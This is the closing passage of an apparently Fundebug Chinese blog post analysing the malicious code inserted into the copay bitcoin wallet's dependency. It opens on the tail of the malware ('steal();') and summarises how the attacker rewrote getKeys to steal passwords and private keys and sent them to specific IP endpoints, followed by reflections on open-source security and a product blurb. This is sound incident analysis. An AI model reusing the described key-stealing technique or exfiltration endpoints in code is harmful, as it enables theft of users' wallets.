    } else {
        steal();
    }
})();
複製程式碼

詳細分析可以看我寫的程式碼註釋,另外,我還總結了這些要點

  • 這段程式碼的目的是竊取使用者資訊,並非挖礦;
  • 黑客通過重寫getKeys函式竊取了copay使用者的密碼,傳送到http://111.90.151.134:8080/p
  • 黑客竊取了copay使用者所有的隱私資訊,包括私鑰,傳送到http://111.90.151.134:8080/c
  • 黑客對竊取的資料進行了簡單混淆以及公鑰加密,因此只有他可以讀取竊取的資料;
  • 黑客顯然分析了copay原始碼,然後量身定做了這段程式碼,因此這段程式碼對其他專案是無效的,肯定會報錯,所以他寫了很多try...catch。從另一個角度來講,其他專案比如Vue完全不用擔心
  • 通過nmap命令掃描黑客的伺服器111.90.151.134的8080埠可知,他目前已經不再接收竊取的資料;

結尾

通過這件事,大家可能會覺得開源不安全,但是我不這樣看。黑客之所以處心積慮想了這麼多歪招來竊取使用者資料,就是因為程式碼是開源的,他不敢亂來。另外,這件事雖然潛伏了幾個月,但是一經發現,大家分析一下程式碼,齊心協力很快就發現黑客到底幹了什麼,把整件事的來龍去脈翻了個底朝天,我也是基於大家的工作又梳理了這件事。我們應該思考的是,如何讓程式碼更加安全,而這件事恰恰可以給我們很多啟示,這個我下次再聊。

其實,這件事挺有意思的,還有很多問題,比如黑客一共用到了哪些技巧?黑客是怎麼被發現的?黑客究竟是誰?如何保證JavaScript與區塊鏈的安全性?以後再說吧...

參考

關於Fundebug

Fundebug專注於JavaScript、微信小程式、微信小遊戲、支付寶小程式、React Native、Node.js和Java實時BUG監控。 自從2016年雙十一正式上線,Fundebug累計處理了9億+錯誤事件,得到了Google、360、金山軟體、百姓網等眾多知名使用者的認可。歡迎免費試用!

JavaScript黑客是這樣竊取比特幣的,Vue開發者不用擔心!

版權宣告

轉載時請註明作者Fundebug以及本文地址:
blog.fundebug.com/2018/12/03/…

相關文章